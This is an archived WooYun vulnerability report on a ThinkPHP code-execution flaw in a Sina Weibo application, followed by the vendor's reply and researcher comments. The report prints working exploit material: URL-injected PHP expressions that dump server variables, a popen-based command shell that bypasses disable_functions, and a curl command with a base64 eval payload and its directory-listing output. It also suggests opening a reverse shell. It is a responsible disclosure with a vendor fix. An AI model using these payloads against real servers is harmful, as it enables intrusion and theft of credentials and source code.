当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06018

漏洞标题：新浪微博任意代码执行漏洞+突破限制拿shell+可能深入其他动作

相关厂商：新浪

漏洞作者： 牛奶坦克

提交时间：2012-04-13 15:29

修复时间：2012-05-28 15:30

公开时间：2012-05-28 15:30

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-13： 细节已通知厂商并且等待厂商处理中
2012-04-13： 厂商已经确认，细节仅向厂商公开
2012-04-23： 细节向核心白帽子及相关领域专家公开
2012-05-03： 细节向普通白帽子公开
2012-05-13： 细节向实习白帽子公开
2012-05-28： 细节向公众公开

简要描述：

新浪微博存在一处任意代码执行漏洞，但服务器有些disable_function限制，可惜太粗糙，导致绕过，反弹服务器shell，并可进一步渗透攻击。

详细说明：

Thinkphp的补丁被wooyun平台分析后，自己也读了一把，对漏洞发现者甚是膜拜，同时wofeiwo的出色分析也让人精神为之一爽，顿时湿了。
这个漏洞因为工作原因跟的慢了一些，去官方成功案例看了一下，没想到看到新浪微博一个应用用了这个框架，看了一把，确实存在哟。
http://tan.weibo.com/h/1/236/aaa/$%7B@print_r($_SERVER)%7D
读取到了服务器的$_SERVER变量，里面甚至还存在数据库地址与密码。。
本想执行个命令就提交wooyun，但是disable_functions了

http://tan.weibo.com/h/1/236/aaa/$%7B@print(get_cfg_var('disable_functions'))%7D


返回：

phpinfo,system,exec,shell_exec,passthru,proc_open,proc_close,show_source


呵呵，弱了点，突破方法很多，这里用popen做个exploit

error_reporting(E_ALL);$handle = popen('/bin/sh -c '."'$_POST[x]'".' 2>&1', 'r');echo "'$handle'; " . gettype($handle) . "\n";$read = fread($handle, 2096);echo $read;pclose($handle);die();


为什么用POST是因为框架的URI取值问题，POST就畅通无阻了
这个地方没处理单引号，方便了一些，但是poc里面的某些代码会干扰取值，所以encode一下

curl "http://tan.weibo.com/h/1/236/aaa/$%7B@eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTskaGFuZGxlID0gcG9wZW4oJy9iaW4vc2ggLWMgJy4iJyRfUE9TVFt4XSciLicgMj4mMScsICdyJyk7ZWNobyAiJyRoYW5kbGUnOyAiIC4gZ2V0dHlwZSgkaGFuZGxlKSAuICJcbiI7JHJlYWQgPSBmcmVhZCgkaGFuZGxlLCAyMDk2KTtlY2hvICRyZWFkO3BjbG9zZSgkaGFuZGxlKTtkaWUoKTs'))%7D" -d "x=ls"
'Resource id #33'; resource
Api
Conf
Data
Lib
Public
ThinkPHP
Tpl
api.php
co.php
db
favicon.ico
index.php
oauthcallback.php
pictureDownLoad.php
ssocallback.php
system
t.php


嘿。
这个因为访问权限的问题，可以访问到这个服务器上所有的源码。
因为是服务器群，所以执行的命令可能一会A，一会B，一会C。。这个自己想办法吧，既然可以执行命令了，直接弹shell。

漏洞证明：

一些截图：




修复方案：

修复方案：
https://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
ThinkPHP漏洞分析：
http://zone.wooyun.org/index.php?do=view&id=44

版权声明：转载请注明来源 牛奶坦克@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2012-04-13 15:55

厂商回复：

感谢提供,您所提到的这个问题在您提交WOOYUN之前新浪已在修复,再次感谢您对新浪安全的支持!

最新状态：

暂无

漏洞评价：

评论

  1. 2012-04-13 15:30 | 坏人咖啡 ( 实习白帽子 | Rank:55 漏洞数:4 | 做一个简简单单的坏人)

    沙发看来新浪不怎么关注安全新闻呀！！！

  2. 2012-04-13 15:45 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    这，微博，不要啊！！！！！

  3. 2012-04-13 15:50 | Lee ( 普通白帽子 | Rank:113 漏洞数:24 | wataru@eviloctal.com)

    @xsser 我操。这个严重。

  4. 2012-04-13 15:54 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    这个爽。。。

  5. 2012-04-13 15:54 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @z@cx 渗透师在哪里

  6. 2012-04-13 15:55 | 冷冷的夜 ( 普通白帽子 | Rank:135 漏洞数:12 )

    火前留名

  7. 2012-04-13 15:56 | z@cx ( 普通白帽子 | Rank:434 漏洞数:56 | 。-。-。)

    @xsser 纯观望中。。。

  8. 2012-04-13 16:02 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)

    神了，重点关注

  9. 2012-04-13 16:03 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)

    rank只有10？看来不是很严重么？

  10. 2012-04-13 16:37 | adsltsee ( 路人 | Rank:5 漏洞数:1 | 这个家伙很懒，什么也没留下...)

    亲爱的微博。。。又出洞洞了

  11. 2012-04-13 19:17 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    没用过微博的路过！

  12. 2012-04-14 09:27 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    mark

  13. 2012-04-14 11:24 | 小一 ( 实习白帽子 | Rank:32 漏洞数:13 )

    这个犀利了，要是深入的话不知要泄漏多少信息了。。

  14. 2012-04-14 11:46 | 明. ( 路人 | Rank:8 漏洞数:7 | ส็็็็็็็็็็็็็็็็็็็...)

    求深入啊.

  15. 2012-04-15 08:22 | 新浪(乌云厂商)

    @小一 是一个微博应用 上使用的Thinkphp 框架没有打补丁，使用该微博应用使用open api开发，用户使用时需要单独授权，实际上相当于一个开放平台第三方应用。应用中没有用户的什么信息，所以也不会泄露微博用户的信息。

  16. 2012-04-15 22:58 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)

    @新浪 呵呵，还没有看到问题的本质么？

  17. 2012-04-15 23:04 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @新浪 问题在于内部安全区域的限制被攻破吧，谁说A应用出漏洞就不会影响到B应用呢？

  18. 2012-04-15 23:23 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)

    @新浪 被楼上几位围攻，我也凑热闹at一下

  19. 2012-04-16 09:28 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    @新浪 框架没打补丁以及不升级 不知害了多少无辜的服务器~ 哎

  20. 2012-04-30 11:58 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    这个确实严重

  21. 2012-05-28 16:16 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    新浪应该给洞主妹纸，不应该送娃娃了

  22. 2012-05-28 16:35 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    这个事件是由一个点，反映出一个面的问题，希望厂商重视暴露出的其他安全问题。

  23. 2012-05-28 16:55 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @疯狗 是的。。rank给少了。。并且报告写得不错。

  24. 2012-05-28 17:00 | unic02n ( 实习白帽子 | Rank:73 漏洞数:9 | 我是来学习的！)

    这个确实不应该给10.进入点的漏洞虽然级别不高（在sina看来），但是实际影响的是另一个层次。人家不是给你汇报你存在框架漏洞，是告诉你你的服务器被搞了，

  25. 2012-05-28 19:18 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:21 | 晚安,牛奶)

    感谢大家支持，没有针对厂商的意思，但是希望大家能看到wooyun给任何一方带来的额外信息，而不是单只看漏洞。